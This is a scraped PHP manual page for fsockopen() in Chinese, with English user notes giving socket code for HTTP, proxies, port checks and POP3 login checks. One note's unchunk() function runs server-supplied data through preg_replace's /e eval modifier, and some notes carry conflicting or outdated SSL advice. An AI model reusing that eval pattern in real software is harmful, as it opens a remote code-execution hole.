      Kernel Version: Darwin 12.3.0
      Boot Volume: Macintosh HD
      Boot Mode: Normal
      Computer Name: Karl's iMac
      User Name: Karl Kloppenborg (karl)
      Secure Virtual Memory: Enabled
      Time since boot: 10 days 20:24
--------------

# php -a
php > print_r(dns_get_record('google.com', DNS_MX));

Array
(
    [0] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 10
            [target] => aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [1] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 30
            [target] => alt2.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [2] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 50
            [target] => alt4.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [3] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 40
            [target] => alt3.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [4] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 20
            [target] => alt1.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

)
dylan at pow7 dot com 21-Feb-2009 11:29
Get more than one type at once like this:
<?php
$dnsr = dns_get_record('php.net', DNS_A + DNS_NS);
print_r($dnsr);
?>

Using DNS_ALL fails on some domains where DNS_ANY works. I noticed the function getting stuck on the DNS_PTR record, which caused it to return FALSE with this error:
PHP Warning:  dns_get_record(): res_nsend() failed in ....

This gets all records except DNS_PTR:
<?php
$dnsr = dns_get_record('php.net', DNS_ALL - DNS_PTR);
print_r($dnsr);
?>


打开 Internet 或者 Unix 套接字连接

  • ? dns_get_record
  • gethostbyaddr ?
  • PHP Manual
  • 网络 函数
  • 打开 Internet 或者 Unix 套接字连接

fsockopen

(PHP 4, PHP 5, PHP 7, PHP 8)

fsockopen — 打开 Internet 或者 Unix 套接字连接

说明

fsockopen(
string $hostname,
int $port = -1,
int &$error_code = null,
string &$error_message = null,
?float $timeout = null
): resource|false

初始化套接字连接到指定 hostname 资源。

如所支持的套接字传输器列表所述，PHP 支持 Internet 和 Unix 域中的目标。也可以通过 stream_get_transports() 获取支持的传输器列表。

默认情况下将以阻塞模式开启套接字连接。可以通过 stream_set_blocking() 将它转换到非阻塞模式。

stream_socket_client() 与之非常相似，而且提供了更加丰富的参数设置，包括非阻塞连接和提供流上下文的能力。

参数

hostname

如果安装了 OpenSSL，那么可以在主机名地址前面添加 ssl:// 或者是 tls://，从而可以使用基于 TCP/IP 协议的 SSL 或者 TLS 的客户端连接到远程主机。

port

端口号。可以省略该参数或传 -1，则表示传输器不使用端口，例如 unix://。

error_code

如果提供该参数，则会保存调用系统级别 connect() 发生的系统级错误号。

如果 error_code 的返回值为 0，且函数的返回值为 false，则表明错误发生在 connect() 调用之前。这很可能是由于初始化套接字的问题。

error_message

错误信息将以字符串的信息返回。

timeout

设置连接的时限，单位为秒。当为 null 时，使用 default_socket_timeout php.ini 设置。

Note:

如果需要对为套接字读/写数据数据操作设置超时，请使用 stream_set_timeout()，fsockopen() 的 timeout 参数仅仅在连接套接字时适用。

返回值

fsockopen() 返回文件指针，可以跟其他文件函数（比如
fgets()、fgetss()、fwrite()、fclose()
和 feof()）一起使用。如果调用失败，将返回 false。

错误／异常

如果 hostname 不是有效域，则抛出 E_WARNING。

更新日志

版本 | 说明
8.0.0 | timeout 现在可以为 null。

示例

Example #1 fsockopen() 示例

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

Example #2 使用 UDP 连接

下面这个例子展示了怎么样在自己的机器上通过 UDP 服务"daytime"（端口号 13）中来检索日期和时间。

<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {
echo "ERROR: $errno - $errstr<br />\n";
} else {
fwrite($fp, "\n");
echo fread($fp, 26);
fclose($fp);
}
?>

注释

Note:

根据环境的不同，Unix 域或可选的连接超时可能无效。

Warning

即使远程主机无法访问，UDP 套接字有时候也能打开且无错误。只有当从套接字读/写数据的时候才会出现错误。这样的原因是 UDP 是"无连接"协议，这意味着在真正发送/接收数据之前，操作系统不会尝试为套接字创建连接。

Note: 当指定数值型的 IPv6 地址（例如 fe80::1）时必须用方括号将 IP 围起来——例如， tcp://[fe80::1]:80。

参见

  • pfsockopen() - 打开持久的 Internet 或 Unix 套接字连接
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - 从文件指针中读取一行
  • fgetss() - 从文件指针中读取一行并过滤掉 HTML 标记
  • fwrite() - 写入文件（可安全用于二进制文件）
  • fclose() - 关闭一个已打开的文件指针
  • feof() - 测试文件指针是否到了文件结束的位置
  • socket_connect() - 开启一个套接字连接
  • Curl 扩展

User Contributed Notes

jszoja at gmail dot com 17-Sep-2022 06:23
Opening non-existing socket file via `unix//` protocol will result in exception also when suppressing error with @ like:
<?php
$fh = @fsockopen('unix:///var/run/file-not-exists.sock');
?>

It is important to know when migrating  from PHP 7.4 to 8.x, as handling error suppression with @ has changed.
GreenReaper 02-Aug-2019 11:49
PHP (or OpenSSL) may not always choose to use e.g. TLS 1.2, but you can force it to with tlsv1.2://
https://docs.php.net/manual/en/migration56.openssl.php#migration56.openssl.crypto-method

This was a great help to me, given Twitter's recent API changes to require TLS 1.2+.
Goce Dokoski 25-Sep-2018 07:45
Trying to fsockopen an ssl:// connection, but it was hanging for a long time, ignoring timeout parameter, and eventually returning false, without an error message.

Turns out (at least) on Windows it validates certificates and doesn't have a valid certificate store.

This worked for me:

- download Mozilla's certificate store from https://curl.haxx.se/ca/cacert.pem
- copy it inside php installation (for example: c:\php)
- and set it up in php.ini

              openssl.cafile="c:\php\cacert.pem"

My system: Apache/2.4.29 (Win64) OpenSSL/1.0.2n PHP/5.6.38
perrya at shoalhaven dot nsw dot gov dot au 16-Feb-2016 12:48
on my FreeBSD vm, with Joomla, I was getting the error

fsockopen(): unable to connect to ssl://localhost:443 (Unknown error)

when using a contact form and also the module updating process.

After reading other notes on here, regarding certificate validation, I installed the port ca_root_nss

(Root certificates from certificate authorities included in the Mozilla
NSS library and thus in Firefox and Thunderbird.)

Now it works
p14nd4 18-Jul-2014 09:30
It appears that in PHP 5.6.0 (at least the version in Debian jessie, with openssl 1.0.1h-3), this function *is* now validating SSL certificates (in a variety of ways). First, it appears to fail for untrusted certificates (i.e. no matching CA trusted locally), and secondly, it appears to fail for mismatched hostnames in the request and certificate.

---------
$ echo "<?php echo fsockopen(\"ssl://localhost\", 993); ?>" | php -a
Interactive mode enabled

PHP Warning:  fsockopen(): Peer certificate CN=`my.test.server' did not match expected CN=`localhost' in - on line 1
PHP Warning:  fsockopen(): Failed to enable crypto in - on line 1
PHP Warning:  fsockopen(): unable to connect to ssl://localhost:993 (Unknown error) in - on line 1
----------
$ echo "<?php echo fsockopen(\"ssl://my.test.server\", 993); ?>" | php -a
Interactive mode enabled

PHP Warning:  fsockopen(): SSL operation failed with code 1. OpenSSL Error messages:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed in - on line 1
PHP Warning:  fsockopen(): Failed to enable crypto in - on line 1
PHP Warning:  fsockopen(): unable to connect to ssl://my.test.server:993 (Unknown error) in - on line 1
---------
#installed CA locally
---------
$ echo "<?php echo fsockopen(\"ssl://my.test.server\", 993); ?>" | php -a
Interactive mode enabled

Resource id #1
biguenique at yahoo dot ca 19-Mar-2014 04:29
Did you know that fsockopen() DOES NOT validate SSL certificates whatsoever? For the sake of World's overall security level, I guess it would be a very positive idea to add a BIG WARNING notice on the manual page!

Citing the extensive study  titled "The Most Dangerous Code in the World: Validating SSL Certi?cates in Non-Browser Software" published in 2012 (google it if they removed the link) on page 5:

"PHP provides several methods for establishing SSL connections. For example, fsockopen, which opens a raw socket to the remote server, can be used to connect to SSL servers by putting "ssl://" in the URL. Even though fsockopen does not perform any certificate checks whatsoever, PHP application developers routinely use it for SSL connection establishment (see Section 9)."

For proper certificate validation with some level of ease, you can always move to cURL, but be careful:

"PHP also provides a cURL binding, which uses cURL's default settings to establish SSL connections with proper certificate validation. As we show in Sections 7.1, 7.2, and 7.3, application developers often set cURL options incorrectly, overriding the defaults and breaking certificate validation."

For more detailed insights, try out the following code:
<?php readfile("http".str_replace('+', '.', implode('/', array(":", null, "www+cs+utexas+edu", "~shmat", "shmat_ccs12.pdf")))); ?>
kexianbin at diyism dot com 28-Dec-2011 08:15
My recursive unchunk function:

<?php
function unchunk($result)
         {return preg_replace('/([0-9A-F]+)\r\n(.*)/sie',
                              '($cnt=@base_convert("\1", 16, 10))
                               ?substr(($str=@strtr(\'\2\', array(\'\"\'=>\'"\', \'\\\\0\'=>"\x00"))), 0, $cnt).unchunk(substr($str, $cnt+2))
                               :""
                              ',
                              $result
                             );
         }
?>
Jeremy Saintot 14-Jan-2011 04:24
Here is my fsockopen-based HTTP request fonction (GET and POST) :

<?php
function http_request(
    $verb = 'GET',             /* HTTP Request Method (GET and POST supported) */
    $ip,                       /* Target IP/Hostname */
    $port = 80,                /* Target TCP port */
    $uri = '/',                /* Target URI */
    $getdata = array(),        /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $postdata = array(),       /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $cookie = array(),         /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */
    $timeout = 1,           /* Socket timeout in seconds */
    $req_hdr = false,          /* Include HTTP request headers */
    $res_hdr = false           /* Include HTTP response headers */
    )
{
    $ret = '';
    $verb = strtoupper($verb);
    $cookie_str = '';
    $getdata_str = count($getdata) ? '?' : '';
    $postdata_str = '';

    foreach ($getdata as $k => $v)
                $getdata_str .= urlencode($k) .'='. urlencode($v) . '&';

    foreach ($postdata as $k => $v)
        $postdata_str .= urlencode($k) .'='. urlencode($v) .'&';

    foreach ($cookie as $k => $v)
        $cookie_str .= urlencode($k) .'='. urlencode($v) .'; ';

    $crlf = "\r\n";
    $req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf;
    $req .= 'Host: '. $ip . $crlf;
    $req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf;
    $req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf;
    $req .= 'Accept-Language: en-us,en;q=0.5' . $crlf;
    $req .= 'Accept-Encoding: deflate' . $crlf;
    $req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf;

    foreach ($custom_headers as $k => $v)
        $req .= $k .': '. $v . $crlf;

    if (!empty($cookie_str))
        $req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf;

    if ($verb == 'POST' && !empty($postdata_str))
    {
        $postdata_str = substr($postdata_str, 0, -1);
        $req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf;
        $req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf;
        $req .= $postdata_str;
    }
    else $req .= $crlf;

    if ($req_hdr)
        $ret .= $req;

    if (($fp = @fsockopen($ip, $port, $errno, $errstr)) == false)
        return "Error $errno: $errstr\n";

    stream_set_timeout($fp, 0, $timeout * 1000);

    fputs($fp, $req);
    while ($line = fgets($fp)) $ret .= $line;
    fclose($fp);

    if (!$res_hdr)
        $ret = substr($ret, strpos($ret, "\r\n\r\n") + 4);

    return $ret;
}
?>

Example usages :

<?php
echo http_request('GET', 'www.php.net');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php', array('get1' => 'v_get1'), array(), array('cookie1' => 'v_cookie1'), array('X-My-Header' => 'My Value'));
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by "Wrinkled Cheese" on 24-JUN-2011 to fix the $getdata foreach() loop; another bugfix provided by Suat Secmen on 12-JAN-2012 to fix a $timeout = 1000, then stream_set_timeout($fp, 0, $timeout * 1000), equaling 1,000 seconds.]
gratcypalma at gmail dot com 30-Aug-2010 08:56
<?php
/*
this script i used for remote my PvPGN Server, to check email user.
not good, but it work.
*/

set_time_limit(0);
$host   = 'host';
$port   = 'port';
$user   = 'user';
$pass   = 'pass';
$socket = fsockopen($host, $port) or die('Could not connect to: '.$host);
$userdota = "palma";
if($socket)
{
    sendcmd("\r",$socket);
    $status = "open"; // set status open

    while($status=="open") //while we are connected to the server
      {
             $line = @fgets($socket, 1024) ;
              /////////////login////////////////
            if (strstr($line, "there is no guest account"))
              {
                 sendcmd($user."\r\n",$socket);
                 sendcmd($pass."\r\n",$socket);
              }
            //////////////send command ////////////////////
            if (strstr($line,"Your unique name: ".$user))
              {  sendcmd("/finger ".$userdota."\r\n",$socket);
              }

            //////////////get email////////////////////
            if (strstr($line,"email:")) // if respone server write "email:"
              {
                 $pattern = '/email:(.*) ,/';
                 preg_match($pattern, $line, $matches);
                 fclose($socket);
                 $status="close"; // status close
                 $matches=str_replace(" ","", $matches);
                 $matches=str_replace(",is_operator:0,is_admin:0,","", $matches);
                 $matches=str_replace("email:","", $matches);
                 print $matches[0];
                 $email=$matches[0];
              }
            if (strstr($line,"ERROR: Invalid user.")) // if respone server write "ERROR: Invalid user."
              {

                 fclose($socket);
                 $status="close";
                 $error ="Invalid User";    // error message
              }

            ////////////login failed //////////////////////////
            if (strstr($line, "Login failed")) // if respone server write "Login failed"
              {
                 $error = "Login Failed";    // error message
                 fclose($socket);
                 $status="close";
              }

            flush(); // close

      }

}
function sendcmd($cmd,$socket) // send command function
{
  fputs($socket, $cmd, strlen($cmd));
}
?>
nytro_rst at yahoo dot com 12-Jan-2010 02:26
A simple proxy list checker. You can check a list ip:port if that port is opened on that IP.

<?php

$fisier = file_get_contents('proxy_list.txt'); // Read the file with the proxy list
$linii = explode("\n", $fisier); // Get each proxy
$fisier = fopen("bune.txt", "a"); // Here we will write the good ones

for($i = 0; $i < count($linii) - 1; $i++) test($linii[$i]); // Test each proxy

function test($proxy)
{
  global $fisier;
  $splited = explode(':',$proxy); // Separate IP and port
  if($con = @fsockopen($splited[0], $splited[1], $eroare, $eroare_str, 3))
  {
    fwrite($fisier, $proxy . "\n"); // Check if we can connect to that IP and port
    print $proxy . '<br>'; // Show the proxy
    fclose($con); // Close the socket handle
  }
}

fclose($fisier); // Close the file

?>
walter 30-Jul-2009 08:05
For some reason the default FreeBSD 7.0 port (jailed environment) breaks fsockopen() on SSL URLs, returning a constant stream of nothing!  In my case this resulted in php-cgi bringing down lighttpd completely, in rapid time!  Avoid FreeBSD/jails/fsockopen + SSL.  Use curl_init() instead.
ghzero at ghzero dot de 22-Jun-2009 05:20
note:
the default protocol - if not given - seems to be tcp://
oliver dot christen at camptocamp dot com 21-Jun-2009 03:17
When downloading large files, it is not really efficient to put the whole server answer in memory before parsing the data to remove the header parts. Here is a simple way to do it while writing the data as it arrive:

<?php

// $socket is a valid fsockopen handle

$out = '';
$headerendfound = false;
$fp = fopen($fileTarget, 'w');
$buffer = '';
while (!feof($socket)) {
    $out = fgets ($socket,16384);
    if ($headerendfound) {
        fwrite($fp, $out);
        print '.';
    }
    if (!$headerendfound) {
        $buffer .= $out;
        print "searching for header\n";
        $headerend = strpos($buffer, "\r\n\r\n");
        if ($headerend !== false) {
            $headerendfound = true;
            fwrite($fp, substr($buffer, $headerend+4));
            $buffer = '';
        }
    }
}
fclose($fp);
fclose($socket);

?>
mikey at badpenguins dot com 06-Sep-2008 09:00
My $0.02 on handling chunked transfer encoded output...  Has rudimentary error handling.

<?php
//
// Example usage...
//
$server  = '127.0.0.1';
$port    = '80';
$uri     = '/cgi-bin/random-cgi';
$content = 'Your post content...';

$post_results = httpPost($server,$port,$uri,$content);
if (!is_string($post_results)) {
    die('uh oh, something went wrong');
    } else {
    die('Here are your results: ' . $post_results);
    }

//
// Post provided content to an http server and optionally
// convert chunk encoded results.  Returns false on errors,
// result of post on success.  This example only handles http,
// not https.
//
function httpPost($ip=null,$port=80,$uri=null,$content=null) {
    if (empty($ip))         { return false; }
    if (!is_numeric($port)) { return false; }
    if (empty($uri))        { return false; }
    if (empty($content))    { return false; }
    // generate headers in array.
    $t   = array();
    $t[] = 'POST ' . $uri . ' HTTP/1.1';
    $t[] = 'Content-Type: text/html';
    $t[] = 'Host: ' . $ip . ':' . $port;
    $t[] = 'Content-Length: ' . strlen($content);
    $t[] = 'Connection: close';
    $t   = implode("\r\n",$t) . "\r\n\r\n" . $content;
    //
    // Open socket, provide error report vars and timeout of 10
    // seconds.
    //
    $fp  = @fsockopen($ip,$port,$errno,$errstr,10);
    // If we don't have a stream resource, abort.
    if (!(get_resource_type($fp) == 'stream')) { return false; }
    //
    // Send headers and content.
    //
    if (!fwrite($fp,$t)) {
        fclose($fp);
        return false;
        }
    //
    // Read all of response into $rsp and close the socket.
    //
    $rsp = '';
    while(!feof($fp)) { $rsp .= fgets($fp,8192); }
    fclose($fp);
    //
    // Call parseHttpResponse() to return the results.
    //
    return parseHttpResponse($rsp);
    }

//
// Accepts provided http content, checks for a valid http response,
// unchunks if needed, returns http content without headers on
// success, false on any errors.
//
function parseHttpResponse($content=null) {
    if (empty($content)) { return false; }
    // split into array, headers and content.
    $hunks = explode("\r\n\r\n",trim($content));
    if (!is_array($hunks) or count($hunks) < 2) {
        return false;
        }
    $header  = $hunks[count($hunks) - 2];
    $body    = $hunks[count($hunks) - 1];
    $headers = explode("\n",$header);
    unset($hunks);
    unset($header);
    if (!verifyHttpResponse($headers)) { return false; }
    if (in_array('Transfer-Encoding: chunked',$headers)) {
        return trim(unchunkHttpResponse($body));
        } else {
        return trim($body);
        }
    }

//
// Validate http responses by checking header.  Expects array of
// headers as argument.  Returns boolean.
//
function validateHttpResponse($headers=null) {
    if (!is_array($headers) or count($headers) < 1) { return false; }
    switch(trim(strtolower($headers[0]))) {
        case 'http/1.0 100 ok':
        case 'http/1.0 200 ok':
        case 'http/1.1 100 ok':
        case 'http/1.1 200 ok':
            return true;
        break;
        }
    return false;
    }

//
// Unchunk http content.  Returns unchunked content on success,
// false on any errors...  Borrows from code posted above by
// jbr at ya-right dot com.
//
function unchunkHttpResponse($str=null) {
    if (!is_string($str) or strlen($str) < 1) { return false; }
    $eol = "\r\n";
    $add = strlen($eol);
    $tmp = $str;
    $str = '';
    do {
        $tmp = ltrim($tmp);
        $pos = strpos($tmp, $eol);
        if ($pos === false) { return false; }
        $len = hexdec(substr($tmp,0,$pos));
        if (!is_numeric($len) or $len < 0) { return false; }
        $str .= substr($tmp, ($pos + $add), $len);
        $tmp  = substr($tmp, ($len + $pos + $add));
        $check = trim($tmp);
        } while(!empty($check));
    unset($tmp);
    return $str;
    }

?>
jabeba at web dot de 17-Apr-2008 06:21
If you have to use a proxy to make requests outside of your local network, you may use this class:

<?php
/*
 *
 * No Proxy Authentification Implemented; PHP 5
 *
 */

class RemoteFopenViaProxy {

    private $result;
    private $proxy_name;
    private $proxy_port;
    private $request_url;

    public function get_proxy_name() {
        return $this->proxy_name;
    }

    public function set_proxy_name($n) {
        $this->proxy_name = $n;
    }

    public function get_proxy_port() {
        return $this->proxy_port;
    }

    public function set_proxy_port($p) {
        $this->proxy_port = $p;
    }

    public function get_request_url() {
        return $this->request_url;
    }

    public function set_request_url($u) {
        $this->request_url = $u;
    }

    public function get_result() {
        return $this->result;
    }

    public function set_result($r) {
        $this->result = $r;
    }

    private function get_url_via_proxy() {

        $proxy_fp = fsockopen($this->get_proxy_name(), $this->get_proxy_port());

        if (!$proxy_fp) {
            return false;
        }
        fputs($proxy_fp, "GET " . $this->get_request_url() . " HTTP/1.0\r\nHost: " . $this->get_proxy_name() . "\r\n\r\n");
        while (!feof($proxy_fp)) {
            $proxy_cont .= fread($proxy_fp, 4096);
        }
        fclose($proxy_fp);
        $proxy_cont = substr($proxy_cont, strpos($proxy_cont, "\r\n\r\n") + 4);
        return $proxy_cont;

    }

    private function get_url($url) {
        $fd = @ file($url);
        if ($fd) {
            return $fd;
        } else {
            return false;
        }
    }

    private function logger($line, $file) {
        $fd = fopen($file . ".log", "a+");
        fwrite($fd, date("Ymd G:i:s") . " - " . $file . " - " . $line . "\n");
        fclose($fd);
    }

    function __construct($url, $proxy_name = "", $proxy_port = "") {

        $this->set_request_url($url);
        $this->set_proxy_name($proxy_name);
        $this->set_proxy_port($proxy_port);

    }

    public function request_via_proxy() {

        $this->set_result($this->get_url_via_proxy());
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url_via_proxy(" . $this->get_proxy_name() . "," . $this->get_proxy_port() . "," . $this->get_request_url() . ")", "RemoteFopenViaProxyClass.log");
        }
    }

    public function request_without_proxy() {

        $this->set_result($this->get_url($this->get_request_url()));
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url(" . $url . ")", "RemoteFopenViaProxyClass.log");
        }
    }
}
?>

Use it this way:

<?php
// call constructor
$obj = new RemoteFopenViaProxy($insert_request_url, $insert_proxy_name, $insert_proxy_port);
// change settings after object generation
$obj->set_proxy_name($insert_proxy_name);
$obj->set_proxy_port($insert_proxy_port);
$obj->set_request_url($insert_request_url);
$obj->request_via_proxy();
echo $obj->get_result();
?>

If there are errors during execution, the script tries to write some useful information into a log file.
huli0401 at gmail dot com 27-Dec-2007 09:12
<?php
// Check for new version
    $current_version = explode('.', '1.0.00');
    $minor_revision = (int) $current_version[2];

    $errno = 0;
    $errstr = $version_info = '';

    if ($fsock = fsockopen("www.exanmple.eu", 80, $errno, $errstr, 30))
    {
        @fputs($fsock, "GET /ver.txt HTTP/1.1\r\n");
        @fputs($fsock, "HOST: www.example.eu\r\n");
        @fputs($fsock, "Connection: close\r\n\r\n");

        $get_info = false;
        while (!@feof($fsock))
        {
            if ($get_info)
            {
                $version_info .= @fread($fsock, 1024);
            }
            else
            {
                if (@fgets($fsock, 1024) == "\r\n")
                {
                    $get_info = true;
                }
            }
        }
        @fclose($fsock);

        $version_info = explode("\n", $version_info);
        $latest_head_revision = (int) $version_info[0];
        $latest_minor_revision = (int) $version_info[2];
        $latest_version = (int) $version_info[0] . '.' . (int) $version_info[1] . '.' . (int) $version_info[2];

        if ($latest_head_revision == 2 && $minor_revision == $latest_minor_revision)
        {
            $version_info = '<p style="color:green">OK</p>';
        }
        else
        {
            $version_info = '<p style="color:red">neaktualne';
            $version_info .= '<br />'Latest_version_info' . $latest_version) . ' ' . sprintf(Current_version_info'. '1.0.00') . '</p>';
        }
    }
    else
    {
        if ($errstr)
        {
            $version_info = '<p style="color:red">' . sprintf(Connect_socket_error) . '</p>';
        }
        else
        {
            $version_info = '<p>'Socket_functions_disabled'</p>';
        }
    }

    $version_info .= '<p>'Mailing_list_subscribe_reminder'</p>';

echo $version_info;
?>
anarchy 04-Sep-2007 06:34
The DEFAULT stream timeout is set according to default_socket_timeout in your php.ini file.  Took forever for me to dig that up....
bradland at umich dot edu 23-Jul-2007 09:32
I was having trouble doing an https in fopen and with fsockopen where the address had ssl://.  I was getting error code 114 in the log.  After much research i found that there was some ssl conflict trouble with MySQL 5.0.20-5.0.33.  It had some functions that were interfering with openssl that showed up in the php install.

http://bugs.mysql.com/bug.php?id=21930
http://bugs.mysql.com/bug.php?id=19289
Alexander Wegener 26-May-2007 07:29
To check if a Url is Online (with http and https)
Using @fgets to hide Warning when using SSL
(Bug: "Warning: function.fgets SSL: fatal protocol error", http://bugs.php.net/bug.php?id=23220)

<?php

    function isOnline($url) {
        if (!$url_info = parse_url($url)) {
            return false;
        }

        switch ($url_info['scheme']) {
            case 'https':
                $scheme = 'ssl://';
                $port = 443;
                break;
            case 'http':
            default:
                $scheme = '';
                $port = 80;
        }

        $data = "";
        $fid = @fsockopen($scheme . $url_info['host'], $port, $errno, $errstr, 30);
        if ($fid) {
            fputs($fid, 'HEAD ' . (isset($url_info['path'])? $url_info['path']: '/') . (isset($url_info['query'])? '?' . $url_info['query']: '') . " HTTP/1.0\r\n" .
                        "Connection: close\r\n" .
                        'Host: ' . $url_info['host'] . "\r\n\r\n");
            while (!feof($fid)) {
                $data .= @fgets($fid, 128);
            }
            fclose($fid);
            return !empty($data);
        } else {
            return false;
        }
    }

?>
ryan1_00 at hotmail dot com 29-Jan-2007 07:52
This script checks specific ports so you need to have the correct port open on the server for this to work.

E.g if i have a windows domain controller and it is servering LDAP then the following would be used to check it is online:
<?php
chkServer("MyDC", "389");
?>

for a webserver:
<?php
chkServer("MyWebSvr", "80");
?>

etc etc
--------------------------------------------------------

<?php
// check if a server is up by connecting to a port
function chkServer($host, $port)
{
    $hostip = @gethostbyname($host); // resloves IP from Hostname returns hostname on failure

    if ($hostip == $host) // if the IP is not resloved
    {
        echo "Server is down or does not exist";
    }
    else
    {
        if (!$x = @fsockopen($hostip, $port, $errno, $errstr, 5)) // attempt to connect
        {
            echo "Server is down";
        }
        else
        {
            echo "Server is up";
            if ($x)
            {
                @fclose($x); //close connection
            }
        }
    }
}
?>
v13+phpnet at it dot teithe dot gr 24-Jan-2007 03:01
The following function performs pop3 authentication. Returns NULL on error, or true/false to indicate username/password matching:

$address is the hostname of the server and $ssl is a boolean that indicates whether an SSL connection is requested.

<?php
function pop3authCheck($username, $password, $address, $ssl)
{
    if ($ssl)
        $uri="ssl://$address:995";
    else
        $uri="tcp://$address:110";

    $fp=fsockopen($uri);

    if (!$fp)
        return(NULL);

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="USER $username\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="PASS $password\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    fclose($fp);
    if (substr($st, 0, 3)=="+OK")
        return(true);
    else if (substr($st, 0, 4)=="+ERR")
        return(false);
    else
        return(NULL);
}
?>
Duukkis 27-Feb-2006 05:13
Lots of tries and lots of reading http-headers...

If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

<?php
        // get the necessary data
        $file_name = $_FILES['userfile']['name'];     // the file
        $tmp_name = $_FILES['userfile']['tmp_name'];     // the file
        $content_type = $_FILES['userfile']['type'];     // the file mime type

        srand((double)microtime()*1000000);
        $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);

        // Build the header
        $header = "POST $remote_url HTTP/1.0\r\n";
        $header .= "Host: $remote_server\r\n";
        $header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
        // attach post vars
        foreach($_POST AS $index => $value){
            $data .="--$boundary\r\n";
            $data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
            $data .= "\r\n".$value."\r\n";
            $data .="--$boundary\r\n";
        }
        // and attach the file
        $data .= "--$boundary\r\n";
        $content_file = join("", file($tmp_name));
        $data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
        $data .= "Content-Type: $content_type\r\n\r\n";
        $data .= "".$content_file."\r\n";
        $data .="--$boundary--\r\n";
        $header .= "Content-length: " . strlen($data) . "\r\n\r\n";
                 // Open the connection
        $fp = fsockopen($remote_server, 80);
        // then just
        fputs($fp, $header.$data);
        fclose($fp);
?>
Kiki_EF 27-Oct-2005 12:20
Additional ICQ status request over proxy
<?php
function icq_uin($uin)
{
    if (! is_numeric($uin))
        return false;
    $proxy_name = 'proxy.mydomain.de';
    $proxy_port = 8080;
    $proxy_user = "";
    $proxy_pass = "";
    $proxy_cont = '';
    $request_url = "http://status.icq.com/online.gif?icq=$uin";

    $proxy_fp = fsockopen($proxy_name, $proxy_port);
    if (!$proxy_fp)
        return false;
    fputs($proxy_fp, "GET $request_url HTTP/1.0\r\nHost: $proxy_name\r\n");
    fputs($proxy_fp, "Proxy-Authorization: Basic ". base64_encode ("$proxy_user:$proxy_pass")."\r\n\r\n");
    while(!feof($proxy_fp)){
        $proxy_cont .= fread($proxy_fp,4096);
    }
    fclose($proxy_fp);
    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    if (strstr($proxy_cont, 'online1'))
        return 'online';
    if (strstr($proxy_cont, 'online0'))
        return 'offline';
    if (strstr($proxy_cont, 'online2'))
        return 'disabled';
}
echo "User is ".icq_uin(123456789012345);
?>

Thanx

[EDIT BY danbrown AT php DOT net: Based on code provided in a note by (rafaelbc AT matrix DOT com DOT br) on 23-MAY-09, which has since been removed.]
robin at pozytron dot com 21-Aug-2005 03:38
I have found, when using fsockopen() and the POST method, that using HTTP/1.1 is VERY significantly slower than HTTP/1.0 (at least for the server I'm querying, an Orion-based server). Also, using cURL tended to be faster than fsockopen(), though only slightly. For example, here was a recent set of data (for the same exact request in each case):

cURL: 4.2sec
fsockopen() HTTP/1.0: 4.9sec
fsockopen() HTTP/1.1: 19.9sec (!)

I'm not sure why this was occurring. Perhaps it has something to do with the Orion server, which I have little experience with. However, it was not a fluke, and I double-checked the code to make sure there were no errors.

EDITORS NOTE: HTTP/1.1 uses persistent connection causing this delay. Use "Connection: close" header to disable it.
richard dot lajaunie at cote-azur dot cci dot fr 19-May-2005 12:10
<?php
/************************************************************
* Author: Richard Lajaunie
* Mail : richard.lajaunie@cote-azur.cci.fr
*
* subject : this script retreive all mac-addresses on all ports
* of a Cisco 3548 Switch by a telnet connection
*
